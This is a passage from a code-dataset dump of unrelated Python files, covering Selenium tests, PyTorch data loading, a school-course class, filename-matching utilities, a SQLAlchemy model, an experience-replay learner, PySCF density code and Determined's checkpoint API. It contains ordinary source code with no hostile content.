\"\"\"\n Returns:\n NewCustomAttributeModal\n \"\"\"\n self.button_add_more.click_when_visible()\n return NewCustomAttributeModal(self._driver)\n\n\nclass AdminCustomAttributes(base.Widget):\n _locator = locator.AdminCustomAttributes\n URL = environment.APP_URL \\\n + url.ADMIN_DASHBOARD \\\n + url.Widget.CUSTOM_ATTRIBUTES\n\n def __init__(self, driver):\n super(AdminCustomAttributes, self).__init__(driver)\n self.filter = base.Filter(\n self._driver,\n self._locator.FILTER_INPUT_FIELD,\n self._locator.FILTER_BUTTON_SUBMIT,\n self._locator.FILTER_BUTTON_RESET\n )\n self.button_workflows = base.Button(\n self._driver, self._locator.BUTTON_WORKFLOWS)\n self.button_risk_assessments = base.Button(\n self._driver, self._locator.BUTTON_RISK_ASSESSMENTS)\n self.button_threats = base.Button(\n self._driver, self._locator.BUTTON_THREATS)\n self.button_risks = base.Button(\n self._driver, self._locator.BUTTON_RISKS)\n self.button_programs = base.Button(\n self._driver, self._locator.BUTTON_PROGRAMS)\n\n def select_programs(self):\n \"\"\"\n Returns:\n _Dropdown\n \"\"\"\n self.button_programs.click()\n return _Dropdown(self._driver,\n self._locator.BUTTON_ADD_CUSTOM_PROGRAM_ATTR)\n","sub_path":"test/selenium/src/lib/page/widget/custom_attribute.py","file_name":"custom_attribute.py","file_ext":"py","file_size_in_byte":3784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"301557341","text":"import torch\nimport os\nimport numpy as np\nfrom torch import nn\n\n\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torchvision import datasets, transforms\nfrom torch.autograd import Variable\nconfig={}\nconfig[\"configure\"]={\"name\":\"MNIST\"}\n\"\"\"class ResizeImage():\n def __init__(self, size):\n if isinstance(size, int):\n self.size = (int(size), int(size))\n else:\n self.size = size\n def __call__(self, img):\n th, tw = self.size\n return img.resize((th, tw))\ndef image_train(resize_size=256, crop_size=224):\n normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225])\n return transforms.Compose([\n ResizeImage(resize_size),\n #从原图切割一张244*244图片\n transforms.RandomResizedCrop(crop_size),\n #0.5概率翻转图片\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n normalize\n ])\"\"\"\n\"\"\"def load_data(name):\n train_dataset=datasets.MNIST(root='data',train=True,transform=image_train(256,224),download=False)\n train_loader=torch.utils.data.DataLoader(dataset=train_dataset,batch_size=40,shuffle=True,num_workers=4)\n iter_im = iter(train_loader)\n images, labels = iter_im.next()\n print(images.size())\n images = torch.cat((images, images, images),1)\n #images = torch.from_numpy(images)\n Variable(images)\n return labels\"\"\"\nclass Gray(object):\n def __call__(self, tensor):\n # TODO: make efficient\n R = tensor[0]\n G = tensor[1]\n B = tensor[2]\n tensor[0]=0.299*R+0.587*G+0.114*B\n tensor = tensor[0]\n tensor = tensor.view(1,28,28)\n return tensor\ndef load_data(train):\n pre_transforms=transforms.Compose([\n transforms.Grayscale(),\n # PILtrans(),\n transforms.Resize(28),\n #Gray(),\n transforms.ToTensor(),\n ])\n data_root='data'\n if config[\"configure\"][\"name\"]==\"MNIST\":\n train_dataset = datasets.SVHN(root='data', # 选择数据的根目录\n split='test',\n transform=pre_transforms,\n download=False) # 不从网络上download图片\n train_loader = torch.utils.data.DataLoader(dataset=train_dataset,\n batch_size=4,\n shuffle=True) # 将数据打乱\n \"\"\"iter_im=iter(train_loader)\n images,labels=iter_im.next()\n images = np.concatenate([images, images, images], 1)\n images=torch.from_numpy(images)\n Variable(images)\n return images\"\"\"\n for i,(a,b) in enumerate(train_loader):\n images=a\n labels=b\n break\n return images,labels\n\nimages,labels=load_data(\"MNIST\")\nlabels=labels.long()\nprint(labels.size())\n#print(images)\n#optimizer = optim.SGD(model.parameters(), lr=0.01, momentum=0.5)\n\n#optimizer.zero_grad()\n#output = model(images)\n#loss = F.nll_loss(output,labels)\n#output=np.reshape(output.numpy,[-1])\n#print(output.size())\n\n#print(np.shape(dtest.squeeze()))\n\n#a=numpy.concaten\n#images=numpy.concatenate([images,images,images],1)\n#images=images.numpy()\n#images=images.reshape(len(labels),28*28*3)\n#images=images.numpy()\n#rint(len(set(labels)))\n\"\"\"b=np.random.rand(5,5,3,32)\nc=np.random.rand(28,28,3)\nd=np.zeros([32])\ne=nn.Conv2d(c,b,kernel_size=1)\nprint(b)\"\"\"\n\"\"\"\ndef judge(a):\n if a ==1:\n b=2\n elif a==2:\n b=1\n return b\nprint(judge(1))\"\"\"\n","sub_path":"pytorch_DAN/src/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"594311157","text":"from course import Course\n\n\nclass School:\n \"\"\" School with Courses \"\"\"\n\n SCHOOL_NAME_LABEL = \"School Name\"\n COURSE_ID_LABEL = \"Course ID\"\n COURSE_LABEL = \"Course\"\n PROGRAM_NAME_LABEL = \"Program Name\"\n\n def __init__(self, school):\n \"\"\" Initializes the School with a Name \"\"\"\n\n School._validate_string_input(School.SCHOOL_NAME_LABEL, school)\n self._school = school\n self._courses = []\n\n def get_school_details(self):\n \"\"\"Creates a list of unique program names and returns all school details\n \n Returns:\n dictionary -- school details\n \"\"\"\n\n programs = []\n program_list = []\n for course in self._courses:\n program_list.append(course.get_program())\n programs = list(set(program_list))\n\n dict = {}\n dict['school_name'] = self._school\n dict['num_courses'] = len(self._courses)\n dict['programs'] = programs\n\n return dict\n\n\n def add_course(self, course):\n \"\"\" Adds a Course to the School \"\"\"\n\n School._validate_course_input(School.COURSE_LABEL, course)\n if course not in self._courses:\n self._courses.append(course)\n\n def get_all_courses(self):\n return self._courses\n\n def remove_course(self, course_id):\n \"\"\" Removes a Course from the School \"\"\"\n\n School._validate_string_input(School.COURSE_ID_LABEL, course_id)\n for curr_course in self._courses:\n if curr_course.get_course_id() == course_id:\n self._courses.remove(curr_course)\n return\n\n def get_num_courses(self):\n \"\"\" Gets the Number of Courses \"\"\"\n\n return len(self._courses)\n\n def course_exists(self, course_id):\n \"\"\" Checks if the Course exists in the School \"\"\"\n\n School._validate_string_input(School.COURSE_ID_LABEL, course_id)\n for course_check in self._courses:\n if course_check.get_course_id() == course_id:\n return True\n\n return False\n\n def get_num_courses_in_program(self, program):\n \"\"\" Returns the number of Courses in the Program \"\"\"\n\n School._validate_string_input(School.PROGRAM_NAME_LABEL, program)\n counter = 0\n for count_course in self._courses:\n if program in count_course.get_details():\n counter += 1\n return counter\n\n def get_course(self, course_id):\n \"\"\" Gets the Course with the given Course ID \"\"\"\n\n School._validate_string_input(School.COURSE_ID_LABEL, course_id)\n for course in self._courses:\n if course.get_course_id() == course_id:\n return course\n\n @staticmethod\n def _validate_string_input(display_name, str_value):\n \"\"\" Private helper to validate string values \"\"\"\n\n if str_value is None:\n raise ValueError(display_name + \" cannot be undefined.\")\n if str_value == \"\":\n raise ValueError(display_name + \" cannot be empty.\")\n\n @staticmethod\n def _validate_course_input(display_name, obj_value):\n \"\"\" Private helper to validate course values \"\"\"\n\n if obj_value is None:\n raise ValueError(display_name + \" must be defined.\")\n\n","sub_path":"REST 1/School/school.py","file_name":"school.py","file_ext":"py","file_size_in_byte":3248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"309116760","text":"from selenium import webdriver\nfrom selenium.webdriver import ActionChains\n\ndriver = webdriver.Chrome(executable_path=\"C://chromedriver.exe\")\ndriver.get(\"https://chercher.tech/practice/practice-pop-ups-selenium-webdriver\")\naction = ActionChains(driver)\naction.context_click(driver.find_element_by_css_selector(\"#double-click\")).perform()\naction.double_click(driver.find_element_by_css_selector(\"#double-click\")).perform()\nalert = driver.switch_to.alert\nprint(alert.text)\nassert \"You double clicked me!!!, You got to be kidding me\" == alert.text\nalert.accept()","sub_path":"Selenium_Python/actionchains_2.py","file_name":"actionchains_2.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"447495427","text":"import os\nfrom difflib import SequenceMatcher\nimport numpy as np\nfrom .matching_filename import match_first_degree\n\n\ndef expand_to_5d(img_data):\n \"\"\"\n Expands an array up to 5d if it is not the case yet\n :param img_data:\n :return:\n \"\"\"\n while img_data.ndim < 5:\n img_data = np.expand_dims(img_data, axis=-1)\n return img_data\n\n\ndef split_filename(file_name):\n \"\"\"\n Operation on filename to separate path, basename and extension of a filename\n :param file_name: Filename to treat\n :return pth, fname, ext:\n \"\"\"\n pth = os.path.dirname(file_name)\n fname = os.path.basename(file_name)\n\n ext = None\n for special_ext in '.nii', '.nii.gz':\n ext_len = len(special_ext)\n if fname[-ext_len:].lower() == special_ext:\n ext = fname[-ext_len:]\n fname = fname[:-ext_len] if len(fname) > ext_len else ''\n break\n if ext is None:\n fname, ext = os.path.splitext(fname)\n return pth, fname, ext\n\n\ndef reorder_list(list_seg, list_ref):\n \"\"\"\n Reorder list of segmentation and reference images to have matching pairs\n based on filenames\n :param list_seg: list of segmentation files\n :param list_ref: list of reference files\n :return:\n \"\"\"\n new_seg = list(list_seg)\n new_ref = list(list_ref)\n common_seg = find_longest(list_seg)\n common_ref = find_longest(list_ref)\n # common_seg_sub = list_seg[0][common_seg.a:common_seg.a+common_seg.size]\n # common_ref_sub = list_ref[0][common_ref.a:common_ref.a + common_ref.size]\n print(common_seg, common_ref, \"are common\")\n for s in range(0, len(new_seg)):\n new_seg[s] = new_seg[s].replace(common_seg, '')\n for r in range(0, len(new_ref)):\n new_ref[r] = new_ref[r].replace(common_ref, '')\n common_seg2 = find_longest(new_seg)\n common_ref2 = find_longest(new_ref)\n # common_seg_sub = new_seg[0][common_seg.a:common_seg.a + common_seg.size]\n # common_ref_sub = new_ref[0][common_ref.a:common_ref.a + common_ref.size]\n for s in range(0, len(new_seg)):\n new_seg[s] = new_seg[s].replace(common_seg2, '')\n for r in range(0, len(new_ref)):\n new_ref[r] = new_ref[r].replace(common_ref2, '')\n print(new_ref, new_seg)\n _, _, ind_s, ind_r = match_first_degree(new_seg, new_ref)\n print(ind_s, ind_r)\n return ind_s, ind_r\n\n\ndef reorder_list_presuf(list_seg, list_ref):\n \"\"\"\n Reorder list of segmentation and reference files using prefix and\n suffixes of different files\n :param list_seg: list of segmentation files\n :param list_ref: list of reference files\n :return:\n \"\"\"\n new_seg = list(list_seg)\n new_ref = list(list_ref)\n pre_seg, suf_seg = find_prefix_suffix(list_seg)\n pre_ref, suf_ref = find_prefix_suffix(list_ref)\n\n for s in range(0, len(new_seg)):\n if pre_seg is not None:\n new_seg[s] = new_seg[s].replace(pre_seg, '')\n if suf_seg is not None:\n new_seg[s] = new_seg[s].replace(suf_seg, '')\n for r in range(0, len(new_ref)):\n if pre_ref is not None:\n new_ref[r] = new_ref[r].replace(pre_ref, '')\n if suf_ref is not None:\n new_ref[r] = new_ref[r].replace(suf_ref, '')\n print(new_ref, new_seg)\n _, _, ind_s, ind_r = match_first_degree(new_seg, new_ref)\n print(ind_s, ind_r)\n return ind_s, ind_r\n\n\ndef find_prefix_suffix(list_seg):\n \"\"\"\n Find common prefix and suffix in list of files\n :param list_seg: list of filenames to analyse\n :return: longest prefix and suffix\n \"\"\"\n comp_s = SequenceMatcher()\n initial = list_seg[0]\n prefix_fin = None\n suffix_fin = None\n for i in range(1, len(list_seg)):\n comp_s.set_seqs(initial, list_seg[i])\n all_poss = comp_s.get_matching_blocks()\n if all_poss[0].a == 0:\n prefix = initial[0:all_poss[0].size]\n else:\n prefix = ''\n comp_pre = SequenceMatcher()\n if prefix_fin is None:\n prefix_fin = prefix\n comp_pre.set_seqs(prefix, prefix_fin)\n pre_poss = comp_pre.get_matching_blocks()\n\n prefix_fin = prefix[0:pre_poss[0].size]\n if all_poss[-1].size == 0:\n suffix = initial[all_poss[-2].a: all_poss[-2].a+all_poss[-2].size]\n else:\n suffix = initial[all_poss[-1].a:]\n comp_suf = SequenceMatcher()\n if suffix_fin is None:\n suffix_fin = suffix\n comp_suf.set_seqs(suffix, suffix_fin)\n suf_poss = comp_suf.get_matching_blocks()\n suffix_fin = suffix[suf_poss[-2].a:]\n return prefix_fin, suffix_fin\n\n\ndef create_name_save(list_format):\n \"\"\"\n Create the name under which to save the elements \n :param list_format:\n :return:\n \"\"\"\n list_elements = []\n common_path = os.path.split(os.path.commonprefix(list_format))[0]\n print(common_path)\n list_common = common_path.split(os.sep)\n for l in list_format:\n split_string = l.lstrip(common_path).split(os.sep)\n for s in split_string:\n if s not in list_common and s not in list_elements:\n list_elements.append(s.replace(\"*\", '_'))\n return common_path, '_'.join(list_elements)\n\n\ndef find_longest(list_seg):\n \"\"\"\n find the longest common string in a list of filenames\n :param list_seg: list of filenames\n :return: \n \"\"\"\n comp_s = SequenceMatcher()\n initial = list_seg[0]\n comp_s.set_seqs(initial, list_seg[1])\n all_poss = comp_s.get_matching_blocks()\n list_size = [c.size for c in all_poss]\n order = np.argsort(list_size)[::-1]\n all_poss_ordered = [all_poss[i] for i in order]\n possible_common = ['']\n len_common = [0]\n for p in all_poss_ordered:\n common = initial[p.a:p.a+p.size]\n for i in range(2, len(list_seg)):\n comp_s.set_seqs(common, list_seg[i])\n common_seg = comp_s.find_longest_match(0, len(common), 0,\n len(list_seg[i]))\n size = common_seg.size\n if size == 0:\n break\n else:\n common = common[common_seg.a: common_seg.a + common_seg.size]\n\n if len(common) > 0:\n possible_common.append(common)\n len_common.append(len(common))\n return possible_common[np.argmax(len_common)]\n\n# def find_longest(list_seg):\n# comp_s = SequenceMatcher()\n# comp_s.set_seqs(list_seg[0], list_seg[-1])\n# common_seg = comp_s.find_longest_match(0, len(list_seg[0]), 0,\n# len(list_seg[-1]))\n# size = common_seg.size\n# for s in range(2, len(list_seg)):\n# comp_s.set_seq2(list_seg[s])\n#\n# common_seg_temp = comp_s.find_longest_match(0, len(list_seg[0]), 0,\n# len(list_seg[-1]))\n# if size > common_seg_temp.size:\n# size = common_seg_temp.size\n# common_seg = common_seg_temp\n# print(list_seg[0][common_seg.a:common_seg.a + size])\n# return common_seg","sub_path":"nifty_utils/file_utils.py","file_name":"file_utils.py","file_ext":"py","file_size_in_byte":7026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"231632884","text":"\nimport logging\nfrom sqlalchemy.sql import func\nfrom drovirt.models.base import db, SerializerMixin\n\nlogger = logging.getLogger(__name__)\n\n\nclass HypervisorManager(SerializerMixin, db.Model):\n __tablename__ = \"hypervisor_manager\"\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(256), nullable=False, default='')\n created = db.Column(db.DateTime, nullable=False, server_default=func.now())\n updated = db.Column(db.DateTime)\n\n api_url = db.Column(db.String(256), nullable=False, default='')\n manager_type = db.Column(db.String(64), nullable=False, default='')\n","sub_path":"src/drovirt/models/hypervisormanager.py","file_name":"hypervisormanager.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"151417123","text":"from Learner import Learner\nimport numpy as np\n\n\nclass ExperienceReplay(Learner):\n\n def __init__(self, replays=1, learner=None, max_samples=None):\n self.replays = replays\n self.learner = learner\n self.sample_database = []\n self.max_samples = max_samples\n self.num_samples = 0\n self.num_steps = 0\n self.tot_reward = 0\n self.trajectory_length = 100\n\n def start(self, state):\n super(ExperienceReplay, self).start(state)\n return self.learner.start(state)\n\n def add_sample(self, k, phi, action, state_ns, reward):\n sample = [k, phi, action, state_ns, reward]\n if not self.max_samples or self.num_samples < self.max_samples:\n self.sample_database.append(sample)\n else:\n i = self.num_samples % self.max_samples\n self.sample_database[i] = sample\n\n def step(self, reward, state):\n # select next action based on current values\n phi_ns = self.learner.features.phi(state)\n action_ns, values = self.learner.select_action(phi_ns)\n # add sample to sample_database\n self.add_sample(self.num_steps, self.learner.phi, self.learner.action, state, reward)\n self.num_samples += 1\n #if self.num_steps == self.l*self.trajectory_length:\n # self.learn_samples()\n # self.l += 1\n # update state/action\n self.learner.save_phi_action(phi_ns, action_ns)\n # update step/reward count\n super(ExperienceReplay, self).step(reward, state)\n return action_ns\n\n def end(self, reward):\n # make a batch update\n self.learn_samples()\n super(ExperienceReplay, self).end(reward)\n\n def learn_samples(self):\n for i in range(self.replays * self.num_steps):\n j = np.random.randint(0, len(self.sample_database))\n sample = self.sample_database[j]\n # set current state and action fo learner\n self.learner.save_phi_action(sample[1], sample[2])\n # simulate step\n self.learner.step(sample[4], sample[3])\n","sub_path":"src/learners/ExperienceReplay.py","file_name":"ExperienceReplay.py","file_ext":"py","file_size_in_byte":2089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"626385863","text":"from pyscf import gto,scf,dft,lib\nimport numpy as np\nimport scipy\nimport calcrhoru\nimport re\ndef gto_cart_norm(nx,ny,nz,alpha):\n \"\"\"\n Compute the normalization constant for gaussian basis set.\n For details: https://theochem.github.io/horton/2.0.2/tech_ref_gaussian_basis.html\n Input:\n nx(int): power of x\n nx(int): power of y\n nx(int): power of z\n alpha(float):exponant\n Return:\n N(float): normalization constant\n \"\"\"\n #convert to int, otherwise scipy will fail\n nx = int(nx)\n ny = int(ny)\n nz = int(nz)\n return np.sqrt((2.*alpha/np.pi)**(1.5)*(4*alpha)**(nx+ny+nz)/(\n scipy.special.factorial2(2*nx-1)*\n scipy.special.factorial2(2*ny-1)*\n scipy.special.factorial2(2*nz-1)))\n\ndef get_aoCoef_pgInfo(mol):\n \"\"\"\n Description:\n Function to get all the informations about the gaussian basis set\n to be used to compute the spherically averaged non local density\n \n Input:\n mol(Mole Object): Mole Object from pyscf (atoms+basis set with cart=true)\n Return:\n aoCoef(numpy array of float): number of cartesian basis by 12\n the first element is the pointer to the position of the basis in pginfo\n the second element is the pointer to the end position in pginfo\n the rest are the contraction coefficient\n pgInfo(numpy array of float): total number of primitives, 8\n exponent of the gaussian\n Rx,Ry,Rz (position of the gaussian)\n l,m,n power for the polynomial in cartesian basis\n N: normalization constant\n \"\"\"\n #number of contracted cartesian GTOs basis\n nBasCart = mol.nao_cart()\n # number of shells\n nShells = mol.nbas\n # number of primitives\n nPrims = mol.npgto_nr()\n\n #The first and second element are the pointer to begining and end position\n #The rests are the contraintion coefficient of the gaussian primitive\n aoCoef = np.zeros((nBasCart,12))\n #in this order: exponent, position (x,y,z), power in cartesian cordonaites(l,m,n), normalization constant\n pgInfo = np.zeros((nPrims,8))\n nBas=0# index of bas\n iPrims=0 # index of primitive\n iBasBgn=1 #index for the psotion of bas\n #loop for each shell\n for shell in range(nShells):\n l = mol.bas_angular(shell)\n cartPosPow=0# position in pginfo to change the power of the polynomial in cartesian\n #loop for each cartesian basis for the shell (1 for s, 3 for p, 6 for d)\n for i in range(mol.bas_len_cart(shell)):\n aoCoef[nBas,0]=iBasBgn\n aoCoef[nBas,1]=iBasBgn+mol.bas_nprim(shell)-1\n ctrCoeff = mol.bas_ctr_coeff(shell).T[0]\n aoCoef[nBas,2:2+len(ctrCoeff)]=ctrCoeff\n #loop over each primitive\n for j in range(mol.bas_nprim(shell)):\n pgInfo[iPrims,0]=mol.bas_exp(shell)[j]\n pgInfo[iPrims,1:4]=mol.bas_coord(shell).T\n if (l==1):# for p orbital\n pgInfo[iPrims,4+cartPosPow]=1\n if (l==2):#for d orbitals, the order is the same as pyscf\n if(cartPosPow==0):#xx\n pgInfo[iPrims,4]=2\n if(cartPosPow==1):#xy\n pgInfo[iPrims,4]=1\n pgInfo[iPrims,5]=1 \n if(cartPosPow==2):#xz\n pgInfo[iPrims,4]=1\n pgInfo[iPrims,6]=1 \n if(cartPosPow==3):#yy\n pgInfo[iPrims,5]=2\n if(cartPosPow==4):#yz\n pgInfo[iPrims,5]=1\n pgInfo[iPrims,6]=1\n if(cartPosPow==5):#zz\n pgInfo[iPrims,6]=2\n if (l==2):\n pgInfo[iPrims,7]=mol.gto_norm(l,pgInfo[iPrims,0]) # for some reason we\n #need to normalization\n #of only the radiall part\n else:\n pgInfo[iPrims,7]=gto_cart_norm(pgInfo[iPrims,4],pgInfo[iPrims,5],\n pgInfo[iPrims,6],pgInfo[iPrims,0])\n iPrims=iPrims+1\n iBasBgn=iBasBgn+1\n cartPosPow=cartPosPow+1\n nBas = nBas+1\n return aoCoef,pgInfo\n\ndef calc_rhoru(mol,mf,grids):\n aoCoef,pgInfo = get_aoCoef_pgInfo(mol)\n# generate all the u point\n nU = 2500\n smallU = 1e-3\n maxU= 50.0\n ux, uwei = calcrhoru.azwghtuni(smallU,nU,maxU)\n uwei[0]=uwei[0]+smallU/2.\n #calculate rhoru for a all grid\n nGrid = np.shape(grids.coords)[0]\n rhoruA=np.zeros((nGrid,nU))\n if (mol.nelectron==1):\n NMOA = np.count_nonzero(mf.mo_occ[0])\n if (mol.spin==0 and mol.nelectron>1):\n NMOA = np.count_nonzero(mf.mo_occ)\n if (mol.spin>0 and mol.nelectron>1):\n rhoruB=np.zeros((nGrid,nU))\n NMOA = np.count_nonzero(mf.mo_occ[0])\n NMOB = np.count_nonzero(mf.mo_occ[1])\n if (mol.nelectron==1):\n rhoruA = calcrhoru.calcrhoru(NMOA,aoCoef,pgInfo,grids.coords,mf.mo_coeff[0],ux)\n if (mol.spin==0 and mol.nelectron>1):\n rhoruA = calcrhoru.calcrhoru(NMOA,aoCoef,pgInfo,grids.coords,mf.mo_coeff,ux)\n if (mol.spin>0 and mol.nelectron>1):\n #alpha\n rhoruA,rhoruB = calcrhoru.calcrhorupol(NMOA,NMOB,aoCoef,pgInfo,grids.coords,\n mf.mo_coeff[0],mf.mo_coeff[1],ux)\n if mol.spin==0 or mol.nelectron==1:return ux,uwei,rhoruA,rhoruA\n else:return ux,uwei,rhoruA,rhoruB\n\ndef output_rhoRU_atoms():\n atoms={\"H\":1,\"He\":0,\"Li\":1,\"Be\":0,\"B\":1,\"C\":2,\"N\":3,\n \"O\":2,\"F\":1,\"Ne\":0,\"Na\":1,\"Ne\":0,\"Na\":1,\n \"Mg\":0,\"Al\":1,\"Si\":2,\"P\":3,\"S\":2,\"Cl\":1,\"Ar\":0}\n for atom in atoms:\n print(\"Begin atom: \"+atom)\n mol = gto.Mole()\n mol.atom=atom\n mol.cart=True\n mol.spin=atoms[atom]\n mol.basis = '6-311+g2dp.nw'\n mol.build()\n mf = scf.KS(mol)\n mf.small_rho_cutoff = 1e-12\n mf.xc='pbe'\n mf.grids.radi_method=dft.radi.delley\n mf.kernel()\n\n #grid\n grids = mf.grids\n ux,uwei,rhoRUA,rhoRUB= calc_rhoru(mol,mf,grids)\n np.save(atom,[ux,uwei,rhoRUA,rhoRUB])\ndef output_rhoRU_mol(molec,positions,spin):\n print(\"Begin mol: \"+molec)\n mol = gto.Mole()\n atoms = re.findall('[A-Z][^A-Z]*', molec)\n molecule =[]\n nAtom=0\n for atom in atoms:\n atom_pos = positions[nAtom]\n molecule.append([atom,(atom_pos[0],atom_pos[1],atom_pos[2])])\n nAtom=nAtom+1\n mol.atom=molecule\n mol.cart=True\n mol.spin=spin\n mol.basis = '6-311+g2dp.nw'\n mol.build()\n mf = scf.KS(mol)\n mf.small_rho_cutoff = 1e-12\n mf.xc='pbe'\n mf.grids.radi_method=dft.radi.delley\n mf.kernel()\n\n #grid\n grids = mf.grids\n ux,uwei,rhoRUA,rhoRUB= calc_rhoru(mol,mf,grids)\n if spin==0:\n np.save(molec,[ux,uwei,rhoRUA])\n else:\n np.save(molec,[ux,uwei,rhoRUA,rhoRUB])\n","sub_path":"calc_rhoru.py","file_name":"calc_rhoru.py","file_ext":"py","file_size_in_byte":7120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"96737483","text":"import contextlib\nimport enum\nimport logging\nimport os\nimport pathlib\nimport uuid\nfrom typing import Any, Dict, Iterator, Optional, Tuple, Union\n\nimport determined as det\nfrom determined import _core, tensorboard\nfrom determined.common import storage\nfrom determined.common.api import bindings\nfrom determined.common.experimental.session import Session\n\nlogger = logging.getLogger(\"determined.core\")\n\n\nclass DownloadMode(enum.Enum):\n \"\"\"\n DownloadMode defines the calling behavior of the .download() and the .restore_path() methods of\n CheckpointContext. Frequently in Determined,\n\n When mode=LocalWorkersShareDownload (the default), workers on the same physical node (the same\n distributed.cross_rank) will share a single downloaded version of the checkpoint. On an 8-GPU\n node, this will frequently result in 8x bandwidth savings. In this mode, all workers must call\n .download() or .restore_path() in-step.\n\n When mode=NoSharedDownload, no coordination is done. This is useful if you either have\n configured your own coordination, or if only a single worker needs a particular checkpoint.\n There is no in-step calling requirement.\n \"\"\"\n\n LocalWorkersShareDownload = \"LOCAL_WORKERS_SHARE_DOWNLOAD\"\n NoSharedDownload = \"NO_SHARED_DOWNLOAD\"\n\n\nclass CheckpointContext:\n \"\"\"\n CheckpointContext gives access to checkpoint-related features of a Determined cluster.\n \"\"\"\n\n def __init__(\n self,\n dist: _core.DistributedContext,\n storage_manager: storage.StorageManager,\n session: Session,\n api_path: str,\n static_metadata: Optional[Dict[str, Any]] = None,\n tbd_mgr: Optional[tensorboard.TensorboardManager] = None,\n ) -> None:\n self._dist = dist\n self._storage_manager = storage_manager\n self._session = session\n self._static_metadata = static_metadata or {}\n self._static_metadata[\"determined_version\"] = det.__version__\n self._api_path = api_path\n self._tbd_mgr = tbd_mgr\n\n def upload(\n self, ckpt_dir: Union[str, os.PathLike], metadata: Optional[Dict[str, Any]] = None\n ) -> str:\n \"\"\"\n upload() chooses a random storage_id, then uploads the contents of ckpt_dir to checkpoint\n storage into a directory by the name of the storage_id. The name of the ckpt_dir will not\n be preserved.\n\n Note that with multiple workers, only the chief worker (distributed.rank==0) is allowed to\n call upload.\n\n Returns: The storage_id for this checkpoint.\n \"\"\"\n\n if self._dist.rank != 0:\n raise RuntimeError(\n \"cannot call CheckpointContext.upload() from non-chief worker \"\n f\"(rank={self._dist.rank})\"\n )\n\n ckpt_dir = os.fspath(ckpt_dir)\n\n storage_id = str(uuid.uuid4())\n self._storage_manager.upload(src=ckpt_dir, dst=storage_id)\n resources = self._storage_manager._list_directory(ckpt_dir)\n self._report_checkpoint(storage_id, resources, metadata)\n return storage_id\n\n def download(\n self,\n storage_id: str,\n ckpt_dir: Union[str, os.PathLike],\n download_mode: DownloadMode = DownloadMode.LocalWorkersShareDownload,\n ) -> None:\n \"\"\"\n Download the contents of a checkpoint from checkpoint storage into a directory specified by\n ckpt_dir, which will be created if it does not exist.\n\n .. note::\n\n This .download() method is similar to but less flexible than the .download() method of\n the :class:`~determined.experiment.common.Checkpoint` class in the Determined Python\n SDK. This .download() is here as a convenience.\n \"\"\"\n ckpt_dir = os.fspath(ckpt_dir)\n download_mode = DownloadMode(download_mode)\n\n if download_mode == DownloadMode.NoSharedDownload:\n self._storage_manager.download(src=storage_id, dst=ckpt_dir)\n return\n\n # LocalWorkersShareDownload case.\n if self._dist.local_rank == 0:\n self._storage_manager.download(src=storage_id, dst=ckpt_dir)\n # Tell local workers we finished.\n _ = self._dist.broadcast_local(None)\n else:\n # Wait for chief to finish.\n _ = self._dist.broadcast_local(None)\n\n def get_metadata(self, storage_id: str) -> Dict[str, Any]:\n \"\"\"\n Returns the current metadata associated with the checkpoint.\n \"\"\"\n\n resp = bindings.get_GetCheckpoint(self._session, checkpointUuid=storage_id)\n if not resp.checkpoint or not resp.checkpoint.metadata:\n return {}\n return resp.checkpoint.metadata\n\n @contextlib.contextmanager\n def store_path(\n self, metadata: Optional[Dict[str, Any]] = None\n ) -> Iterator[Tuple[pathlib.Path, str]]:\n \"\"\"\n store_path is a context manager which chooses a random path and prepares a directory you\n should save your model to. When the context manager exits, the model will be automatically\n uploaded (at least, for cloud-backed checkpoint storage backends).\n\n Note that with multiple workers, only the chief worker (distributed.rank==0) is allowed to\n call store_path.\n\n Example:\n\n .. code::\n\n with core_context.checkpoint.store_path() as (path, storage_id):\n my_save_model(my_model, path)\n print(f\"done saving checkpoint {storage_id}\")\n print(f\"done uploading checkpoint {storage_id}\")\n \"\"\"\n\n if self._dist.rank != 0:\n raise RuntimeError(\n \"cannot call CheckpointContext.store_path() from non-chief worker \"\n f\"(rank={self._dist.rank})\"\n )\n\n storage_id = str(uuid.uuid4())\n with self._storage_manager.store_path(storage_id) as path:\n yield path, storage_id\n resources = self._storage_manager._list_directory(path)\n self._report_checkpoint(storage_id, resources, metadata)\n\n @contextlib.contextmanager\n def restore_path(\n self,\n storage_id: str,\n download_mode: DownloadMode = DownloadMode.LocalWorkersShareDownload,\n ) -> Iterator[pathlib.Path]:\n \"\"\"\n restore_path is a context manager which downloads a checkpoint (if required by the storage\n backend) and cleans up the temporary files afterwards (if applicable).\n\n In multi-worker scenarios, with the default download_mode (LocalWorkersShareDownload),\n all workers must call restore_path, but only the local chief worker on each node\n (distributed.local_rank==0) will actually download data.\n\n Example:\n\n .. code::\n\n with core_context.checkpoint.restore_path(my_checkpoint_uuid) as path:\n my_model = my_load_model(path)\n \"\"\"\n download_mode = DownloadMode(download_mode)\n\n if download_mode == DownloadMode.NoSharedDownload:\n with self._storage_manager.restore_path(storage_id) as path:\n yield path\n return\n\n # LocalWorkersShareDownload case.\n if self._dist.local_rank == 0:\n with self._storage_manager.restore_path(storage_id) as path:\n # Broadcast to local workers.\n _ = self._dist.broadcast_local(path)\n try:\n yield path\n finally:\n # Wait for local workers to finish.\n _ = self._dist.gather_local(None)\n else:\n # Wait for local chief to broadcast.\n path = self._dist.broadcast_local(None)\n try:\n yield path\n finally:\n # Tell local chief we're done.\n _ = self._dist.gather_local(None)\n\n def delete(self, storage_id: str) -> None:\n 